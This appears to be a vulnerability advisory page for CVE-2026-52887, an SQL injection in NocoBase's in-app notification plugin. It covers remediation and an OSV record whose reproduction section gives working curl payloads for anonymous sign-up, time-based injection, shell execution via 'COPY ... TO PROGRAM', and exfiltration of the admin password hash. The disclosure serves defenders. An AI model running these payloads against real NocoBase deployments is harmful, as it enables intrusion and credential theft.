CVE-2026-52887: NocoBase Remote Code Execution Vulnerability
CRITICALCVE-2026-52887 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting NocoBase libraries in the npm ecosystem. The issue involves sql injection in /api/myinappchannels:list filter to pg-superuser rce. Remediation is available by upgrading affected packages to version 2.0.61.
CVE-2026-52887 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-52887
To remediate this vulnerability, upgrade all affected NocoBase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nocobase/plugin-notification-in-app-message@2.0.61
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nocobase/plugin-notification-in-app-message
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-52887, inspect your project dependencies using npm:
npm ls @nocobase/plugin-notification-in-app-message
Analyze the terminal output to locate any version of NocoBase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.61), your application is affected.
Note: The npm ls @nocobase/plugin-notification-in-app-message command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In NocoBase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52887 Affected NocoBase Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nocobase/plugin-notification-in-app-message
|
npm |
< 2.0.61
|
2.0.61
|
References
Frequently Asked Questions
What is CVE-2026-52887?
Which NocoBase versions are affected?
What version fixes CVE-2026-52887?
Is @nocobase/plugin-notification-in-app-message affected?
What is the CVSS score of CVE-2026-52887?
What CWE is associated with CVE-2026-52887?
How can I check npm dependencies for CVE-2026-52887?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p849-8hwh-84j9",
"modified" : "2026-07-31T19:44:59Z",
"published" : "2026-07-31T19:44:59Z",
"aliases" : [ "CVE-2026-52887" ],
"summary" : "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE",
"details" : "## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H 'Content-Type: application/json' \\\n -d '{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}' \\\n http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H 'Content-Type: application/json' \\\n -d '{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}' \\\n http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n \"http://target:13000/api/myInAppChannels:list\" \\\n --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n \"http://target:13000/api/myInAppChannels:list\" \\\n --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nocobase/plugin-notification-in-app-message"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.61"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.0.60"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52887"
}, {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/pull/9630"
}, {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nocobase/nocobase"
}, {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-31T19:44:59Z",
"nvd_published_at" : "2026-07-15T21:16:54Z"
}
}